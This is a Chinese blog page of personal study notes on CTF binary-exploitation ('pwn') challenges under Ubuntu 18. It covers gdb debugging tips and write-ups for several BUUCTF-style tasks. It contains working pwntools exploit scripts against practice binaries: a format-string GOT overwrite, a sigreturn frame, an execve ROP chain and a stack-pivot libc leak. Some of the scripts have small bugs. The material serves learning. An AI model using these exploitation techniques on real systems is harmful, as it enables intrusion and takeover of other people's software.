Ubuntu18学习记录(持续更新中~~~)

新手友好!Ubuntu 18上BUUCTF PWN题‘RIP’的保姆级栈溢出通关攻略(附Python脚本) 本文提供Ubuntu 18环境下BUUCTF PWN题‘RIP’的64位栈溢出详细攻略,涵盖环境配置、IDA逆向分析、偏移量计算及Python利用脚本编写。通过实战演示栈溢出原理与利用技巧,帮助新手快速掌握二进制漏洞利用基础,特别适合CTF入门选手学习参考。 阅读详情

 

https://pwnable.kr/

https://w3challs.com/challenges/wargame

http://overthewire.org/wargames/

http://www.root-me.org

https://pwnable.tw/

http://wargame.kr/

https://pwnable.xyz/

https://ropemporium.com/

————————————————

版权声明:本文为优快云博主「GJQI12」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.youkuaiyun.com/GJQI12/article/details/105425458

利用 *$rebase(0x1231)进行调试时,要时gdb上下文显现,得让调试文本与远程程序的交互至少执行到断点的位置

RTLD_GLOBAL此共享对象定义的符号将可用于后续加载的共享对象的符号解析

c语言atoi函数的需要注意的地方:被转换的字符串中如果含有abcd等这样的不可见字符,那么会被截断,因为传给atol的参数会被遇见第一个不是0~9的字符所截断 从而返回之前的值,因此当输入的地址是以str形式输入时,不能以16进制形式输入,而应当以10进制形式输入,

而且chr的作用和p8效果相当。

exit函数执行流程,exit函数的调用流程exit函数--->run_exit_handlers函数--->_dl_fini函数---> rtld_lock_unlock_recursive指针

而查看rtld_lock_unlock_recursive指针 需要动态调试gdb.attach(p,’b*$rebase(,,,)’)

而后“p _rtld_global” 而后“ p &_rtld_global.,,,”

而且据说got.plt是可写的,只需要动态调试进入界面查看即可

一般调试到jmp plt处查看,而后vmmap查找第一个被加载的libc的地址,二者进行distance

bytes类型是指一堆字节的集合,在python中以b开头的字符串都是bytes类型

b'\xe5\xb0\x8f\xe7\x8c\xbf\xe5\x9c\x88' #b开头的都代表是bytes类型,是以16进制来显示的,2个16进制代表一个字节。 utf-8是3个字节代表一个中文,所以以上正好是9个字节

bytes类型的使用举例:

# sys_read

syscall = 0x4000BE

sigframe = SigreturnFrame()

sigframe.rax = 0

sigframe.rdi = 0

sigframe.rdx = 0x400

sigframe.rsi = stack_addr

sigframe.rsp = stack_addr

sigframe.rip = syscall

p2 = p64(main_addr) + p64(0) + bytes(sigframe)

r.send(p2)

360chunqiu2017_smallest

本题最关键的地方在于IDA内部汇编语言的理解

如上图,不论系统函数如何调用,实际上汇编代码里头只有retn才会使栈顶指针发生变化,而且retn里面的pop一次性只对以8个字节为一个小单位有效

[GKCTF 2021]checkin

对于本题的感悟,随着技术发展,2021年这个题似乎更倾向与pwn和其他方向相结合,比如和密码方向,更加的就算考验对汇编代码的理解,本题主要是栈溢出很有限8个字节,用来覆盖ebp,而后利用汇编代码两次leave +retn进行栈迁移,迁移后的最后一个p64:puts函数的地址更为巧妙,需要仔细分析汇编代码,才能控制执行流,巧妙返回可利用函数。从而再次分析前后汇编代码,进行onegadget覆盖函数返回地址。

mrctf2020_easyrop

本题关键之处在覆盖子函数返回地址时,输入点距离返回地址的偏移量问题:

p2 = b'a' * 0x12 + p64(shell)

关键在于上面式子的理解,

比较会骗人,在IDA上需要padiing的是0x318,但是上图可以看出,在输入了0x300后

再输入0x18的垃圾数据话多了6个字节。

离谱阿~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

cyclic 768用来生成重复数据

pwn题bbctf_2020_fmt_me

利用了安全函数snprintf,fgets:

p1=fmtstr_payload(offset,{atoi_:system_plt+6,system_got:main_})

这里修改为system+6是为了再次重定位

from os import system

from pwn import*

p=remote("node4.buuoj.cn",27058)

context(os="linux",arch="amd64",log_level="debug")

elf=ELF("./me")


 

atoi_=elf.got["atoi"]

system_got=elf.got["system"]

print(hex(system_got))

print("hello")

main_=elf.sym["main"]

print(main_)

#main_=0x4011f7

system_plt=elf.plt["system"]

offset=6

p.sendline("2")

p1=fmtstr_payload(offset,{atoi_:system_plt+6,system_got:main_})

p.recvuntil("gift.")

p.sendline(p1)

p.sendline("/bin/sh\x00")

p.interactive()

这里fmtstr_payload居然还可以用于修改64位下的got表地址

用于往某个地址里面输入值,这里是往got的地址对应空间输入值,使得函数的plt处指令直接jmp条转到地址(got表内的地址)对应处的指令开始执行

即strcpy只用于字符串复制,并且它不仅复制字符串内容之外,还会复制字符串的结束符;

由此可见‘\x61’就等价表示一个字符‘a’

ROP = p64(pop_rsi) + p64(bss) + p64(pop_rax) + '/bin//sh' + p64(mov_rax_inrsi) 

这个p64是将0x开始的16进制数字转化成其ascii码对应的字符数字模式并且以‘\x,,’的形式显示,而其这里的’/bin//sh’居然可以双斜杠

def encode(s):
    res = ''
    for i in range(len(s)):
        res += chr(ord(s[i])^0x66)
    return res
ROP = p64(pop_rsi) + p64(bss) + p64(pop_rax) + '/bin//sh' + p64(mov_rax_inrsi) # input /bin/sh
而s=ROP += p64(pop_rdi) + p64(bss) + p64(pop_rdx_rsi) + p64(0)*2 + p64(pop_rax) + p64(0x3B) + p64(syscall)
rop执行excve系统调用
由上面的函数可知:prd是将字符转成10进制ascii码值,异或计算完后再chr转化成字符进行拼接。chr,ord都是对一个字节进行操作


http://www.binaryconvert.com/convert_double.html此连接转换小数

太奇葩了,有时候if判断语句中的变量可以在IDA上的rodata三面查看













starctf2018_babystack的收获
以下是wp
# -*- coding: utf-8 -*-
from pwn import *


r = process("./221")
elf = ELF("./64/libc-2.27.so")

context.log_level = "debug"


pop_rdi = 0x400c03
pop_rsi_r15 = 0x400c01
leave_ret = 0x400955
base = elf.bss() + 0x500

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']

payload = 'a' * 0x1010 + p64(base - 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
#顺便做个栈迁移
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(base) + p64(0) + p64(read_plt)
#没必要改rdx

payload += p64(leave_ret)
payload = payload.ljust(0x2000, '\x0')

r.sendlineafter("send?\n", str(0x2000))
r.send(payload)

libc_addr = u64(r.recvuntil('\x7f')[-6: ].ljust(8, "\x00")) - libc.sym['puts']
one_gadget = libc_base + 0x4f322

r.send(p64(one_gadget))

r.interactive()


第一:加深了对栈迁移的理解,就是两次leave ;ret
而后这个迁移后要干的事情是执行指令,所以在迁移目的地应该放gadget或者指令地址。以便ret。而且一般栈迁移的地址要距离第一个被ret的地址8个字节




memset可以初始化内存的值





一步步理解sub_80486BB(*(char **)*(&ptr + a1), v3 + 1);
首先这个&ptr+a1就是一个bss空间前面的地址。*(&ptr + a1)就等于地址右边空间 的内容,char**指的是强制类型转成一个指向指针的指针变量,再加个*意思是*(&ptr + a1)就等于地址右边空间 的内容指向的空间的内容,就是地址右边的内容(这句话非常重要)


parseheap命令在gdbdbg好用

ciscn_2019_es_1 的做题感受:

第一个就是泄露libc相关地址:利用tcache的特性申请大于0x400的chunk,而后进行释放泄露。

第二个就是


 

根据上图:double free的利用:本题只是释放了内部chunk(name chunk),外部chunk并没有释放,exp中第一次add成功修改tache中的列表排列,使得chunk的fd指向free_hook相关区域,而后两次申请,根据,程序,中的代码要求及申请chunk的大小要求,此时free_hook相关区域大小就是0x20,所以优先被申请为外部chunk。?????本题理解仍然有问题,,,可能需要自己调试一遍才行,这样子纯推理是不行的


 


 


 


        
Ubuntu 18.04 常见问题(持续鸽鸽,不更了) ubuntu18.04LTS可靠源 给我校mirror站打个广告,我就是从这里下载的,校内速度无限快,校外可能稍慢一些。 http://mirrors.nju.edu.cn/ubuntu-releases/18.04/ 更新似乎很快呢,正式版也有了。 双系统或三系统Win10引导失败: 方案一:如果能进入ubuntu:尝试执行grub自动更新 sudo update-grub ... 阅读详情

相关推荐

Ubuntu开发环境配置——持续更新

本文简要介绍了Ubuntu下的开发环境配置流程和问题分析与解决,更多内容持续更新中。

m0_53365889的博客 2225

记一道简单的RIP覆盖的pwn(远程的话因为ubuntu18缘故所以栈需要对齐)

记一道BUUCTF简单的RIP覆盖的pwn 这个题目就是单纯的RIP覆盖 直接打开64位IDA 直接就有shell可以直接利用 然后就是算偏移了 直接用gdb-peda的工具算出偏移为23 直接上exp: from pwn import * p=remote('buuoj.cn',6001) system=0x401186 payload='a'*23+p64(system) p.sendl...

doudoudedi 2837

ubuntu18.04 配置turtlebot2环境时遇到的问题(updating.......)

                     (持续更新....) 1      缺少libusb 1.1 安装libusb 下载地址:https://www.intra2net.com/en/developer/libftdi/download.php(因为libuusb libftdi libconfuse是交叉编译的,所以一次全部安装) 安装libusb,全程用sudo权限 1)进入...

SimileciWH的博客 5510

BUUCTF rip 1

这是一题栈溢出,也提及了栈对齐操作

qq_56313338的博客 482

ubuntu18开机进入不了图形界面_ubuntu18.04开机闪烁无法进入图形界面

1.情况描述实验室电脑系统为ubuntu18.04,昨天晚上闲来无事,看到一个博客说可以用anaconda直接安装tensorflow-gpu,觉得这么神奇的吗?于是乎,自己建了一个虚拟环境,还真的很简单的就安上了,跟之前那复杂的方法形成了鲜明对比,顺带也安了nvidia-smi,用着一点事没有,结果今天早上打开台式机,瞬间懵逼了,开启界面持续不断跳pkcs#7 signature not sig...

weixin_30739835的博客 3519

ubuntu完全分布式系统搭建(持续更新)

由于在配置过程中遇到众多bug,特此开篇记录成功过程。提示:以下是本篇文章正文内容,下面案例可供参考。

gfdcbhhc的博客 827

buuctf-rip (1.2)

题目名称:rip (buuctf pwn 第1页)题目描述:略。

2401_87480233的博客 827

记录 | ubuntu1804上安装ripgrep

记录 | ubuntu18.04上安装ripgrep

极智视界 1286

Ubuntu18.04+ROS melodic 控制UR5机器人(持续更新)

这是一个需要用ROS系统控制UR5机器人的项目,此贴用来记录我苦逼的研究僧生活和学习踩坑的经历,需要借鉴的同道中人请进。。

weixin_37806591的博客 1万+

Ubuntu18.04怎样远程链接?

🏆本文收录于专栏,主要记录项目实战过程中所遇到的Bug或因后果及提供真实有效的解决方案,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家!持续更新中,up!up!up!!

**My Coding Family** 1271

RK3568 NFS rootfs配置与调试实战指南(已验证)

本文提供了在RK3568开发板上配置NFS rootfs的完整实战指南。通过详细步骤讲解如何配置uboot的bootargs参数、编译支持NFS的内核,并在PC端搭建TFTP与NFS服务器,最终实现从网络挂载根文件系统,从而极大提升驱动调试和应用程序开发的迭代效率。

weixin_29175469的博客 282

Ubuntu18.04 各种软件的安装(持续更新)

之前ubuntu安PCL的时候出了些问题,干脆连整个系统一起重装了,各种用的顺手的软件也得重新安装一次,因此写个博客记录以下,以防万一以后还要重装。 下面有很多东西都是其他博客或者

MWY123_的博客 3495

python语言下使用opencv接口cv2.VideoCapture()接口调用海康机器人工业相机

文章目录 目录 文章目录 前言 一、opencv接口介绍 二、调用海康机器人工业相机 1.使用海康机器人工业相机的前提 2.调用海康机器人工业相机进行显示 3.调用海康机器人工业相机进行存图 4.调用海康机器人工业相机存视频 5.调用海康机器人工业相机进行简单图像处理 总结 前言 提示:这里可以添加本文要记录的大概内容: 例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。 提示:以下是本篇文章正文内容,下.

qq_39570716的博客 1万+

ubuntu18软件安装记录-持续更新

ubuntu18软件安装记录-持续更新

qq_38388813的博客 319

(35)远程识别(又称无人机识别)(一)

Ardupilot官网关于《Peripheral Hardware》的翻译 —《(35) 远程识别(又称无人机识别)》。

无人机开发(开源Ardupilot) 4万+

S4 Hana SD -信贷管理 - 02

在S4版本中,客户的信用管理数据在事务代码BP维护,业务伙伴角色是UKM000。在维护过程中,我们并不能直接输入信贷控制范围这个组织架构,而是需要输入一个信用段,并且在信用段的维度下去维护相应信用管理数据。对于信用段,可以分为主信用段(信用段是0000)和其他临时信用段,我们可以通过配置把次级信用段的客户信贷负债汇总到主信用段。当然,在后台也有配置,会把信用段和信贷控制范围这两者进行关联.3.2SPROIMG > 财务供应链管理 > 信用管理 > 信贷风险监视 > 主数据 > 创建信用段。

weixin_46525734的博客 1967

ROS学习与踩坑记录(持续更新版)

ROS学习与踩坑记录(持续更新版)

博学而笃志,切问而近思。 3130

FPGA工程师面试试题集锦11~20

时钟抖动是指芯片的某一个给定点上时钟周期发生暂时性变化,也就是说时钟周期在不同的周期上可能加长或缩短。它是一个平均值为0的平均变量。

FPGA/MATLAB学习教程/源码/项目合作开发 678

【ubuntu-18.04】系统安装

前提说明 作为一名嵌入式软件开发,在工作中经常会与 Linux 系统打交道,进行程序的交叉编译,所以 Linux 系统的安装成为了必修课。 与互联网开发人员钟爱 Centos 不同,嵌入式交叉编译,以海思为代表的芯片推荐使用 Ubuntu 系统,所以身边人员也基本都是在使用 Ubuntu。 Ubuntu 18.04 为 10年生命周期版本,而嵌入式开发基本不会用到桌面系统,当前选择服务器 64位版本进行安装。 下载地址:https://releases.ubuntu.com/18.04.6/ubuntu-

程序人生 1万+

YOLOv11改进有效系列目录 - 包含卷积、主干、检测头、注意力机制、Neck上百种创新机制 - 针对多尺度、小目标、遮挡、恶劣天气等问题

在一些特定情况下,目标检测任务由于多种因素的影响,变得更加复杂和困难。以下是几类常见的困难目标检测场景:1. 小目标检测定义:小目标检测是指当目标在图像中的占比非常小时,模型需要准确识别和定位这些目标。典型场景包括远程监控、卫星图像分析等。挑战1. 低分辨率:由于目标在图像中占据像素较少,细节缺失,特征提取难度增加。2. 特征不足:小目标缺乏明显的形状和纹理特征,容易被复杂背景淹没。3. 检测难度大:由于小目标与背景之间的对比度较低,误检的几率上升。4. 数据不平衡。

qq_64693987的博客 4万+

15、运行语音识别应用:从Mac到微控制器的部署指南

本文详细介绍了如何在Mac上运行语音识别应用,并将其部署到Arduino Nano 33 BLE Sense和SparkFun Edge等微控制器设备上的完整流程。内容涵盖应用构建、设备特定的音频与输出实现、部署步骤、常见问题解决方案及进一步优化建议。通过本指南,开发者可快速实现基于TensorFlow Lite的嵌入式语音识别系统,并根据需求进行自定义修改与功能扩展。

l3m4n的博客 57

DynaSLAM环境配置ubuntu 18.04 (持续更新中)

安装tensorflow-1.14.0版本时,我的电脑只能选择CPU的版本,所以安装GPU版本会出现很多问题,只有这个命令可用: pip install -i https://pypi.tuna.tsinghua.edu.cn/simple tensorflow==1.14.0

一棵小树的博客 2459

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

ros+gazebo学习(持续更新)

由于实习需要,开始学习ROS的东西 这篇博客主要是记录在ROS+gazebo学习中遇到的各种坑(掩面),希望能对一些也在该领域的同志提供一点小小帮助~~ 安装问题(gazebo+ros): 由于ros和gazebo本身是通过ros_gazebo_pkg包连接的,一般来说,安装时候直接安装ros--full版本即可,博主本人的平台是ubuntu18,官方发布的合适版本melodic,下面是安装步...

weixin_41575755的博客 3058

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

Ubuntu16.04 配置记录(持续更新)

Ubuntu16.04 配置记录 1.安装中文输入法 https://www.cnblogs.com/darklights/p/7722861.html 2.修改终端命令行路径长度 https://blog.youkuaiyun.com/alex_equal/article/details/50081819 3.安装Clion https://blog.youkuaiyun.com/u010925447/articl...

Mr.Andy的博客 312

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

Win10+Ubuntu18.04双系统安装记录

Win10+Ubuntu18.04双系统安装硬件和安装准备准备工作正式安装安装常用软件总结 相当于自己安装学习Ubuntu,多次重装的记录 硬件和安装准备 电脑型号:华硕飞行堡垒FX80G 电脑配置:固态硬盘500G 机械硬盘1T 8+16G运行内存 安装系统:Ubuntu18.04 点击下载清华源iso文件 辅助程序:rufus 官网链接 Win+R打开CMD输入dxdiag可以查看电脑基本配置 任务管理器->性能->内存 可以查看内存条速度 本次安装适合UF 准备工作 1、首先制作启动盘

qq_45641456的博客 520
上一篇: Uuntu16 学习记录(持续更新中......)
下一篇: 第五届“强网”拟态防御之PWN1与近段时间对unlink的理解
Hvf0x
博客等级 码龄7年 10粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值